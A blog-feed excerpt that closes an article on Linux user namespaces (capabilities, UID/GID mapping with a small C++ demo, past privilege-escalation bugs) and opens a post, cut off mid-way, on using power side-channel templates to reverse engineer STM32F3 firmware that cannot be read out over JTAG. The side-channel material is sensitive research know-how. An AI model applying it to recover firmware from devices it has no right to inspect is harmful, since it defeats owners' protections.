&lt;li>The same process is not able to perform changes to resources governed by the parent namespace, the initial namespace or outside of namespaces. For example even with &lt;code>CAP_SYS_TIME&lt;/code> in the user namespace it&amp;rsquo;s not possible to alter the system clock because this is not governed by a namespace type as of now and therefore &lt;code>CAP_SYS_TIME&lt;/code> in the initial namespace is required in this example.&lt;/li>
&lt;/ul>
&lt;p>In case a process has the &lt;code>CAP_SYS_ADMIN&lt;/code> capability it&amp;rsquo;s possible for it to enter an arbitrary already existing user namespace using &lt;code>setns&lt;/code>. In that case, this process also gains a full capability set in the entered namespace. Also, if a process possesses a capability in a parent user namespace, it also has this capability in all child namespaces. All processes that run with the same UID as the process that created a user namespace have a full capability set in a namespace and all of its children. This can be verified by creating two namespaces as siblings. Processes in the parent namespace are able to use &lt;code>setns&lt;/code> to switch to each of the namespaces. However, it&amp;rsquo;s not possible for one of the child namespaces to do switch to a sibling namespace because of the lack of &lt;code>CAP_SYS_ADMIN&lt;/code> in the target namespace.&lt;/p>
&lt;p>In the scenario of containers it&amp;rsquo;s common practice to reduce the set of available capabilities a container and all its processes may have. The reduced capability set that&amp;rsquo;s in place by default for Docker containers is present in the OCI specification&amp;rsquo;s source code [2]. Missing capabilities can be added and removed on demand when starting a new container &amp;ndash; for simple use-cases the pre-defined set can serve as a secure base. All capabilities can be granted to a process with the &lt;code>privileged&lt;/code> flag although its use should be evaluated carefully in terms of security.&lt;/p>
&lt;p>Without reducing the capability set or by granting all privileges to a container, drastic changes to a system and its state may be employed in case of compromise. This includes:&lt;/p>
&lt;ul>
&lt;li>Loading custom kernel modules&lt;/li>
&lt;li>Tracing arbitrary processes to interfere with their program flow or to leak sensitive information&lt;/li>
&lt;li>Changing the ownership of arbitrary files&lt;/li>
&lt;li>Send arbitrary signals to processes&lt;/li>
&lt;li>Spoof network packets using raw sockets&lt;/li>
&lt;/ul>
&lt;p>As the list above suggests, reducing the capability set via user namespaces is crucial for containerization. In cases where untrusted code is being executed in containers or compromised containers are part of the threat model, changes to the host system must not be possible without explicitly allowing this kind of modification.&lt;/p>
&lt;p>Every process in a user namespace has two files which can be used to perform a UID and GID mapping:&lt;/p>
&lt;ul>
&lt;li>&lt;code>/proc/&amp;lt;PID&amp;gt;/uid_map&lt;/code>&lt;/li>
&lt;li>&lt;code>/proc/&amp;lt;PID&amp;gt;/gid_map&lt;/code>&lt;/li>
&lt;/ul>
&lt;p>By default, these files are empty. The kernel expects lines following the format&lt;/p>
&lt;div class="highlight">&lt;pre style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-fallback" data-lang="fallback">ID-inside-ns ID-outside-ns length
&lt;/code>&lt;/pre>&lt;/div>&lt;p>to be present in these files. The length parameter is used to create a range of possible IDs, starting from &lt;code>ID-inside-ns&lt;/code> respectively &lt;code>ID-outside-ns&lt;/code> with the maximum value according to the &lt;code>length&lt;/code> field value. In case no mapping is being performed for an ID, the value of &lt;code>/proc/sys/kernel/overflow{u, g}id&lt;/code> is used. This causes an ID to be mapped to the &lt;code>nobody&lt;/code> ID. Also, the kernel silently prevents elevating privileges when set-user-ID binaries are being executed. Please note that an ID mapping can only be performed &lt;em>once&lt;/em> and is limited to a maximum of 340 lines.&lt;/p>
&lt;p>Consider the listing below which helps to understand the mapping process:&lt;/p>
&lt;div class="highlight">&lt;pre style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-c" data-lang="c">&lt;span style="color:#6ab825;font-weight:bold">int&lt;/span> &lt;span style="color:#447fcf">run&lt;/span>(&lt;span style="color:#6ab825;font-weight:bold">void&lt;/span> *) {
&lt;span style="color:#6ab825;font-weight:bold">while&lt;/span> (&lt;span style="color:#24909d">true&lt;/span>) {
std::cout &amp;lt;&amp;lt; &lt;span style="color:#ed9d13">&amp;#34;[Child] EUID/EUID &amp;#34;&lt;/span>
&amp;lt;&amp;lt; geteuid()
&amp;lt;&amp;lt; &lt;span style="color:#ed9d13">&amp;#34;/&amp;#34;&lt;/span> &amp;lt;&amp;lt; geteuid()
&amp;lt;&amp;lt; std::endl;
}
&lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> &lt;span style="color:#3677a9">0&lt;/span>;
}
&lt;span style="color:#6ab825;font-weight:bold">int&lt;/span> &lt;span style="color:#447fcf">main&lt;/span>(&lt;span style="color:#6ab825;font-weight:bold">int&lt;/span> argc, &lt;span style="color:#6ab825;font-weight:bold">char&lt;/span> &lt;span style="color:#6ab825;font-weight:bold">const&lt;/span> *argv[]) {
[...]
childPid = clone(run, childStackTop, CLONE_NEWUSER, &lt;span style="color:#3677a9">0&lt;/span>);
std::cout &amp;lt;&amp;lt; &lt;span style="color:#ed9d13">&amp;#34;[Parent] Child PID: &amp;#34;&lt;/span> &amp;lt;&amp;lt; childPid &amp;lt;&amp;lt; std::endl;
sleep(&lt;span style="color:#3677a9">5&lt;/span>);
&lt;span style="color:#999;font-style:italic">// echo &amp;#34;0 1000 1&amp;#34; &amp;gt;&amp;gt; /proc/&amp;lt;PID&amp;gt;/uid_map
&lt;/span>&lt;span style="color:#999;font-style:italic">&lt;/span> std::string cmd = &lt;span style="color:#ed9d13">&amp;#34;echo &amp;#39;0 &amp;#34;&lt;/span> +
std::to_string(getuid()) +
&lt;span style="color:#ed9d13">&amp;#34; 1&amp;#39; &amp;gt;&amp;gt; /proc/&amp;#34;&lt;/span> +
std::to_string(childPid) +
&lt;span style="color:#ed9d13">&amp;#34;/uid_map&amp;#34;&lt;/span>;
system(cmd.c_str());
&lt;span style="color:#6ab825;font-weight:bold">while&lt;/span> (&lt;span style="color:#24909d">true&lt;/span>) { [...] }
[...]
&lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> &lt;span style="color:#3677a9">0&lt;/span>;
}
&lt;/code>&lt;/pre>&lt;/div>&lt;p>The code spawns a child process that prints its effective UID and GID values in an endless loop. After five seconds have passed, the parent process will perform a UID mapping in order to map the root user in the new namespace to the user executing this code. This produces the following output:&lt;/p>
&lt;div class="highlight">&lt;pre style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-fallback" data-lang="fallback">[Parent] Child PID: 22338
[Child] EUID/EUID 65534/65534
[...] // five seconds pass, mapping is done
[Child] EUID/EUID 0/0
[...]
&lt;/code>&lt;/pre>&lt;/div>&lt;p>This produces the same UID mapping as executing &lt;code>unshare -r /bin/bash&lt;/code> does. With the new mapping values it&amp;rsquo;s now possible for the kernel to check the privileges a user possesses in the namespace by mapping the ID values back to the original values and performing permission checks with the values outside of the namespace. One of the use-cases for this is to allow unprivileged users on the host to be privileged in a container. After some additional configuration, this for example enables these users to configure parts of the container and install software packages. Container engines like Docker perform this task by default.&lt;/p>
&lt;p>There exist certain additional rules for applying UID/GID mappings:&lt;/p>
&lt;ul>
&lt;li>
&lt;p>The UID mapping file is being owned by the user that created the namespace. Because of this, only this user and &lt;code>root&lt;/code> are able to write to this file. However, there&amp;rsquo;s an exception as mentioned below.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>To write to the mapping files, the capability &lt;code>CAP_SET{U, G}ID&lt;/code> has to be present in the context of the target process.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>If the data to be written to one of the files only contains a single line: The initial process in a user namespace is allowed to map its &lt;em>own&lt;/em> effective UID/GID values from within the namespace.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Otherwise: Arbitrary mappings can be added by a process residing in the parent namespace.&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>Depending on the namespace a process resides in, there exist differences in how the &lt;code>ID-outside-ns&lt;/code> values are being interpreted. Consider the figure below illustrating this scenario. A user with UID &lt;code>1000&lt;/code> creates two namespaces with different ID mappings. After that, the initial processes of both namespaces read the applied mappings of each other:&lt;/p>
&lt;p>
&lt;figure
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/linux-container-namespaces04-user/user-mappings_hud5ba3046fdaa607881688bf278740527_39210_320x0_resize_q95_h2_lanczos.webp">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/linux-container-namespaces04-user/user-mappings_hud5ba3046fdaa607881688bf278740527_39210_640x0_resize_q95_h2_lanczos.webp">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/linux-container-namespaces04-user/user-mappings_hud5ba3046fdaa607881688bf278740527_39210_1280x0_resize_q95_h2_lanczos.webp">
&lt;img
src="https://www.schutzwerk.com/en/blog/linux-container-namespaces04-user/user-mappings.webp"
width="1459"
height="717"
alt="User Mappings"
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
User Mappings&lt;/figcaption>
&lt;/figure>
&lt;/p>
&lt;p>Consider the initial process writing to its own mapping file: To map the user identifier &lt;code>1000&lt;/code> to its &lt;code>root&lt;/code> user, a namespace has to use the same configuration as the one which namespace &lt;code>1&lt;/code> receives above. This results in the &lt;code>ID-outside-ns&lt;/code> value having to be interpreted as a UID of the parent namespace in case two processes reside in the same namespace.&lt;/p>
&lt;p>However, if they are in different namespaces, as seen above, something else can be observed: &lt;code>ID-outside-ns&lt;/code> is interpreted as being relative to the namespace the process that&amp;rsquo;s being read from is being placed in. Namespace &lt;code>1&lt;/code> reads &lt;code>200:0:1&lt;/code> from namespace &lt;code>2&lt;/code> &amp;ndash; this means that the UID &lt;code>0&lt;/code> in namespace &lt;code>1&lt;/code> corresponds to the ID &lt;code>200&lt;/code> of namespace &lt;code>2&lt;/code> and both originate from the user identifier &lt;code>1000&lt;/code>. The same applies to namespace &lt;code>2&lt;/code> the other way around.&lt;/p>
&lt;p>It&amp;rsquo;s possible to combine user namespaces with other namespace types. This enables users to create namespaces that would require &lt;code>CAP_SYS_ADMIN&lt;/code> without being privileged. To accomplish this, one can use &lt;code>clone&lt;/code> and a combination of &lt;code>CLONE_NEWUSER&lt;/code> and other &lt;code>clone&lt;/code> flags. The kernel processes the flag to create a new user namespace first and processes the remaining &lt;code>CLONE_NEW*&lt;/code> flags inside the new user namespace.&lt;/p>
&lt;p>Being privileged in a user namespace does not imply superuser access on the whole system. Nevertheless, the ability to perform actions an unprivileged user would not be able to execute without user namespaces also broadens the attack surface. For example unprivileged users are able to execute certain mount operations that can be the target of kernel exploits [3]. There may remain more potential security issues regarding user namespaces to be uncovered in the future. For example, it was previously discovered that the combination of user namespaces and the &lt;code>CLONE_FS&lt;/code> flag can lead to a privilege escalation issue [4]. More recently it was discovered that when the limit for the number UID/GID mappings a namespace can have was increased from 5 to 340, a security issue [5] was introduced: When switching to different data structures to store the mappings in the kernel once the number of mappings exceeds five, this data is being accessed in a wrong way. This results in processes of nested user namespace being able to access files being owned by other namespaces, e.g. &lt;code>/etc/shadow&lt;/code> of the initial user namespace.&lt;/p>
&lt;h2 id="next-post-in-series">Next post in series&lt;/h2>
&lt;ul>
&lt;li>Continue reading the next article in this series &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces05-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Namespaces&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces05-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Kernel&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces05-kernel"
class="link-background inline split"
>
&lt;span class="link-label">View&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces05-kernel"
class="link-background inline split"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces05-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Usage&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces05-kernel"
class="link-background inline split"
>
&lt;span class="link-label">in&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces05-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Containerization&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;br/> Follow us on &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://twitter.com/Schutzwerk"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Twitter&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
, &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.linkedin.com/company/schutzwerk/"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">LinkedIn&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
, &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.xing.com/companies/schutzwerkgmbh/updates"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Xing&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
to stay up-to-date.&lt;/li>
&lt;/ul>
&lt;h2 id="credits">Credits&lt;/h2>
&lt;p>&lt;em>Credits: The elaboration and software project associated to this subject are results of a Master&amp;rsquo;s thesis created at SCHUTZWERK in collaboration with Aalen University by Philipp Schmied.&lt;/em>&lt;/p>
&lt;h2 id="references">References&lt;/h2>
&lt;ul>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://lwn.net/Articles/532593/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">1&lt;/span>
&lt;/a>&lt;a
href="https://lwn.net/Articles/532593/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">-&lt;/span>
&lt;/a>&lt;a
href="https://lwn.net/Articles/532593/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Namespaces&lt;/span>
&lt;/a>&lt;a
href="https://lwn.net/Articles/532593/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">in&lt;/span>
&lt;/a>&lt;a
href="https://lwn.net/Articles/532593/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">operation,&lt;/span>
&lt;/a>&lt;a
href="https://lwn.net/Articles/532593/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">part&lt;/span>
&lt;/a>&lt;a
href="https://lwn.net/Articles/532593/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">5:&lt;/span>
&lt;/a>&lt;a
href="https://lwn.net/Articles/532593/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">User&lt;/span>
&lt;/a>&lt;a
href="https://lwn.net/Articles/532593/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">namespaces&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://github.com/moby/moby/blob/master/oci/defaults.go"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">2&lt;/span>
&lt;/a>&lt;a
href="https://github.com/moby/moby/blob/master/oci/defaults.go"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">-&lt;/span>
&lt;/a>&lt;a
href="https://github.com/moby/moby/blob/master/oci/defaults.go"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">OCI&lt;/span>
&lt;/a>&lt;a
href="https://github.com/moby/moby/blob/master/oci/defaults.go"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">defaults.go&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://lwn.net/Articles/540083/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">3&lt;/span>
&lt;/a>&lt;a
href="https://lwn.net/Articles/540083/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">-&lt;/span>
&lt;/a>&lt;a
href="https://lwn.net/Articles/540083/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">kernel:&lt;/span>
&lt;/a>&lt;a
href="https://lwn.net/Articles/540083/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">tmpfs&lt;/span>
&lt;/a>&lt;a
href="https://lwn.net/Articles/540083/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">use-after-free&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://lwn.net/Articles/543273/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">4&lt;/span>
&lt;/a>&lt;a
href="https://lwn.net/Articles/543273/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">-&lt;/span>
&lt;/a>&lt;a
href="https://lwn.net/Articles/543273/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Anatomy&lt;/span>
&lt;/a>&lt;a
href="https://lwn.net/Articles/543273/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">of&lt;/span>
&lt;/a>&lt;a
href="https://lwn.net/Articles/543273/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">a&lt;/span>
&lt;/a>&lt;a
href="https://lwn.net/Articles/543273/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">user&lt;/span>
&lt;/a>&lt;a
href="https://lwn.net/Articles/543273/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">namespaces&lt;/span>
&lt;/a>&lt;a
href="https://lwn.net/Articles/543273/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">vulnerability&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://bugs.chromium.org/p/project-zero/issues/detail?id=1712"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">5&lt;/span>
&lt;/a>&lt;a
href="https://bugs.chromium.org/p/project-zero/issues/detail?id=1712"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">-&lt;/span>
&lt;/a>&lt;a
href="https://bugs.chromium.org/p/project-zero/issues/detail?id=1712"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Linux:&lt;/span>
&lt;/a>&lt;a
href="https://bugs.chromium.org/p/project-zero/issues/detail?id=1712"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">broken&lt;/span>
&lt;/a>&lt;a
href="https://bugs.chromium.org/p/project-zero/issues/detail?id=1712"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">uid/gid&lt;/span>
&lt;/a>&lt;a
href="https://bugs.chromium.org/p/project-zero/issues/detail?id=1712"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">mapping&lt;/span>
&lt;/a>&lt;a
href="https://bugs.chromium.org/p/project-zero/issues/detail?id=1712"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">for&lt;/span>
&lt;/a>&lt;a
href="https://bugs.chromium.org/p/project-zero/issues/detail?id=1712"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">nested&lt;/span>
&lt;/a>&lt;a
href="https://bugs.chromium.org/p/project-zero/issues/detail?id=1712"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">user&lt;/span>
&lt;/a>&lt;a
href="https://bugs.chromium.org/p/project-zero/issues/detail?id=1712"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">namespaces&lt;/span>
&lt;/a>&lt;a
href="https://bugs.chromium.org/p/project-zero/issues/detail?id=1712"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">with&lt;/span>
&lt;/a>&lt;a
href="https://bugs.chromium.org/p/project-zero/issues/detail?id=1712"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">&amp;amp;gt;5&lt;/span>
&lt;/a>&lt;a
href="https://bugs.chromium.org/p/project-zero/issues/detail?id=1712"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">ranges&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.pexels.com/photo/aerial-view-of-cargo-ship-1554646/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Title&lt;/span>
&lt;/a>&lt;a
href="https://www.pexels.com/photo/aerial-view-of-cargo-ship-1554646/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Image&lt;/span>
&lt;/a>&lt;a
href="https://www.pexels.com/photo/aerial-view-of-cargo-ship-1554646/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">by&lt;/span>
&lt;/a>&lt;a
href="https://www.pexels.com/photo/aerial-view-of-cargo-ship-1554646/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Tom&lt;/span>
&lt;/a>&lt;a
href="https://www.pexels.com/photo/aerial-view-of-cargo-ship-1554646/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Fisk&lt;/span>
&lt;/a>&lt;a
href="https://www.pexels.com/photo/aerial-view-of-cargo-ship-1554646/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">/&lt;/span>
&lt;/a>&lt;a
href="https://www.pexels.com/photo/aerial-view-of-cargo-ship-1554646/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Pexels&lt;/span>
&lt;/a>&lt;a
href="https://www.pexels.com/photo/aerial-view-of-cargo-ship-1554646/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">(cropped)&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;/ul></description></item><item><title>Power analysis based software reverse engineering assisted by fuzzing II</title><link>https://www.schutzwerk.com/en/blog/poweranalysis02/</link><author>Simon Diepold</author><pubDate>Thu, 03 Sep 2020 09:00:23 +0200</pubDate><category>embedded security</category><category>secforcars</category><category>power analysis</category><category>reverse engineering</category><category>fuzzing</category><category>attacks</category><description>
&lt;p>In the &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/poweranalysis01/"
class="link-background inline split"
>
&lt;span class="link-label">previous&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/poweranalysis01/"
class="link-background inline split"
>
&lt;span class="link-label">post&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
a setup and a technique to extract a representative section of a powertrace of a specific instruction of a STM32F3 processor were described. This section is called a &amp;ldquo;template&amp;rdquo;. These templates should later be used to identify instructions via a power sidechannel and reconstruct the flow of an unknown program on a controller that can not be dumped via JTAG.
In this part of our poweranalysis series the extracted templates from the previous post will be analyzed to determine whether they are representative enough to reverse engineer
entire programs from a powertrace. The following list shows the topics of all scheduled blog posts. It will be updated with the corresponding links once new posts are being released:&lt;/p>
&lt;ol>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/poweranalysis01/"
class="link-background inline split"
>
&lt;span class="link-label">Goals&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/poweranalysis01/"
class="link-background inline split"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/poweranalysis01/"
class="link-background inline split"
>
&lt;span class="link-label">template&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/poweranalysis01/"
class="link-background inline split"
>
&lt;span class="link-label">extraction&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/poweranalysis01/"
class="link-background inline split"
>
&lt;span class="link-label">process&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/poweranalysis02/"
class="link-background inline split"
>
&lt;span class="link-label">Template&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/poweranalysis02/"
class="link-background inline split"
>
&lt;span class="link-label">analysis&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/poweranalysis02/"
class="link-background inline split"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/poweranalysis02/"
class="link-background inline split"
>
&lt;span class="link-label">reverse&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/poweranalysis02/"
class="link-background inline split"
>
&lt;span class="link-label">engineering&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>Fuzzing based on reconstructed flow&lt;/li>
&lt;/ol>
&lt;hr>
&lt;h2 id="is-the-powertrace-unique-to-one-specific-chip">Is the powertrace unique to one specific chip?&lt;/h2>
&lt;p>To reverse engineer a program from a controller that can not be programmed, the templates from another chip of the same series have to be portable.
In order to test that the templates are portable between multiple controllers of the same series, an instruction series has been recorded on two STM32F3s. The tested instructions used in this example contained a series of one thousand random mathematical instructions. The recorded traces of this series are shown in the following plot.&lt;/p>
&lt;figure
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/poweranalysis02/same_program_different_chips_hu170a291a73b5b30330e2cd53a2e8d1b6_61159_320x0_resize_lanczos_2.png">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/poweranalysis02/same_program_different_chips_hu170a291a73b5b30330e2cd53a2e8d1b6_61159_640x0_resize_lanczos_2.png">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/poweranalysis02/same_program_different_chips_hu170a291a73b5b30330e2cd53a2e8d1b6_61159_1280x0_resize_lanczos_2.png">
&lt;img
src="https://www.schutzwerk.com/en/blog/poweranalysis02/same_program_different_chips.png"
width="867"
height="514"
alt="the signal from two chips running the same program"
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
the signal from two chips running the same program&lt;/figcaption>
&lt;/figure>
&lt;p>Both look very similar besides some minor variations.
If both are subtracted from each other the following signal is obtained:&lt;/p>
&lt;figure
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/poweranalysis02/signal_difference_on_different_chips_hu08b6e12ae8e6ab32af2d52cc01607b99_55870_320x0_resize_lanczos_2.png">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/poweranalysis02/signal_difference_on_different_chips_hu08b6e12ae8e6ab32af2d52cc01607b99_55870_640x0_resize_lanczos_2.png">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/poweranalysis02/signal_difference_on_different_chips_hu08b6e12ae8e6ab32af2d52cc01607b99_55870_1280x0_resize_lanczos_2.png">
&lt;img
src="https://www.schutzwerk.com/en/blog/poweranalysis02/signal_difference_on_different_chips.png"
width="850"
height="486"
alt="the signal from two chips running the same program subtracted"
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
the signal from two chips running the same program subtracted&lt;/figcaption>
&lt;/figure>
&lt;p>This difference is nearly as low as the difference between two recordings from the same chip. So a portability of the templates can be assumed.&lt;/p>
&lt;h2 id="can-arguments-be-detected">Can arguments be detected?&lt;/h2>
&lt;p>Unfortunately not. The following plot shows for example an add instructions with different arguments. Although the traces have some minor variations,
they could not be reliably correlated with a specific argument.&lt;/p>
&lt;figure
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/poweranalysis02/add_with_different_arguments_hu5b260be376f994b51e4de79c4f8c33c0_51772_320x0_resize_lanczos_2.png">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/poweranalysis02/add_with_different_arguments_hu5b260be376f994b51e4de79c4f8c33c0_51772_640x0_resize_lanczos_2.png">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/poweranalysis02/add_with_different_arguments_hu5b260be376f994b51e4de79c4f8c33c0_51772_1280x0_resize_lanczos_2.png">
&lt;img
